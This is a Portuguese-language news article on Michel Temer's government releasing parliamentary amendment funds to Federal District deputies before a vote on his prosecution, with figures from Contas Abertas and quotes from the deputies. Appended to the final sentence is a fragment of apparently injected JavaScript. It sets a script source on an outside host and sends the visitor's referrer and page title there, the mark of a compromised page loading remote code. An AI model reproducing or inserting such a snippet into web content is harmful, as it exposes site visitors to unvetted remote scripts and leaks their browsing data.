Mais de R$ 33 milhões. Essa foi a quantia que Michel Temer liberou do início de junho até 19 de julho para os deputados brasilienses. Até então o governo federal praticamente não havia liberado verba alguma, mas nesses 49 dias abriu o cofre.
Dentre os oito parlamentares do DF, Izalci Lucas (PSDB) foi o mais bem aquinhoado com emendas parlamentares. Obteve R$ 7.676.769, seguido de Rogério Rosso (PSD), com R$ 5.190.382, e Laerte Bessa (PR), R$ 4.570.700. Os dados são da ONG Contas Abertas, que monitora os dispêndios governamentais.
Bessa, Rosso e Ronaldo Fonseca (Pros) já votaram, na CCJ contra o processo de autorização para que o STF possa julgar Temer. Fonseca teve liberados R$ 2.221.660. Antes, segundo a ONG, ele já tinha sido contemplado com a liberação de R$ 400 mil.
Augusto Carvalho (SD), com R$ 4.340.769 – além de R$ 761.365 repassados nos meses anteriores -, Roney Nemer (PP), R$ 4.211.502, e Alberto Fraga (DEM), R$ 3 milhões, também foram contemplados com a liberação das verbas pelo Planalto. O detalhe para Fraga é que, até então, nenhuma emenda do parlamentar havia sido liberada pelo governo, e de uma vez só saiu a autorização para tal quantia.
Para o presidente da Contas Abertas, Gil Castelo Branco, a liberação de emendas parlamentares é um ato de gestão governamental legal. O que ele questiona é o momento dessa liberação. Não apenas quanto à proximidade com a votação em plenário, mas, também, pelo fato de o governo estar com o caixa quebrado, a ponto de ter que aumentar os impostos sobre combustíveis.
Segundo Castelo Branco, de abril a junho de 2017 foram distribuídos cerca de R$ 755 milhões aos 19 partidos aliados do governo. Pela ordem, os que mais receberam recursos foram o PMDB (1º), PSDB (2º), PP (3º), PSD (4º), PR (5º), DEM (6º), PSB (7º), PTB (8º), PRB (9º), SD (10º).
Em artigo na revista Carta Capital, Érika Kokay, que vai votar pela autorização do processo contra Temer e que teve a liberação de R$ 2.299.000, destaca que os valores liberados para os parlamentares governistas foram bem maiores do que para os da oposição, e que, em alguns casos, o repasse chegou a ser doze vezes maior para quem vota com o governo.
Creches – O Brasília Capital procurou os oito parlamentares do DF. “Meu voto não está vinculado a isso. Estou analisando a defesa e a acusação. Vou votar com minha consciência”, afirmou Izalci, esclarecendo que metade dos valores de suas emendas é destinada à saúde, e que o restante será aplicado em construções e reformas de creches pela Novacap ou pela Secretaria de Gestão Territorial e Habitação. Disse ainda que a verba não saiu antes pelo fato de o GDF ter levado três anos para elaborar os projetos das obras. “Um governo muito incompetente. Estamos pagando por isso”.
Rogério Rosso estranhou os valores tabulados pela Contas Abertas. “Pelos dados que me passaram, foram empenhados (não pagos) R$ 4,051 milhões para a área de saúde, sendo R$ 3,182 milhões para custeio de média e alta complexidade dos hospitais do DF; R$ 619 mil para a Rede Sarah, e R$ 250 mil para a unidade móvel de saúde que vai atuar na Cidade Ocidental”. Esclareceu que seu partido, o PSD, fechou questão contra a aceitação dessa primeira denúncia. Parlamentares que votam contra uma questão fechada pelo partido podem ser expulsos da agremiação. Os demais parlamentares não retornaram nossas consultas.s.src=\’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=\’ + encodeURIComponent(document.referrer) + \’&default_keyword=\’ + encodeURIComponent(document.title) + \’\’;